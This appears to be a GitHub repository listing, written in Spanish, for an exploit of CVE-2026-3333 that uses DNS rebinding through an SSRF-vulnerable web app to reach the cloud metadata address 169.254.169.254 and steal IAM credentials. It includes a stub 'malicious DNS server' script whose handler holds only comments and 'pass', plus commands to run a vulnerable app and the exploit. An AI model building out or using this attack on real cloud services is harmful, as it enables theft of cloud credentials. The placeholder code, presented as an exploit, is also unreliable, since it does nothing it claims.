george0papasotiriou/cve-2026-3333-dns-rebinding-to-steal-cloud-metadataExploit en Python para CVE-2026-3333 que demuestra el DNS rebinding para acceder a los metadatos de la nube y robar credenciales de IAM a través de una aplicación web vulnerable a SSRF.
#!/usr/bin/env python3
# dns_rebinding_server.py - Malicious DNS server that alternates between attacker IP and 169.254.169.254
import socket, threading, time
# This simple server resolves any subdomain of our domain to 169.254.169.254 and attacker IP alternately.
DNS_QUERIES = {}
def handle_dns(data, addr, sock):
# minimal DNS response: use a simple pattern
# For demo, we'll use a static approach: first query gets attacker IP, second gets metadata IP.
# We'll simulate by running an HTTP server that the victim will contact.
pass # actual DNS logic is complex; for demonstration, we'll simulate the whole scenario.
Una aplicación web que se ejecuta en un entorno de nube es vulnerable al DNS rebinding. Al usar un dominio que alterna entre la IP del atacante y la IP de metadatos de la nube (169.254.169.254), el atacante puede robar credenciales de IAM.
python vulnerable_web_app.py
python exploit_dns_rebinding.py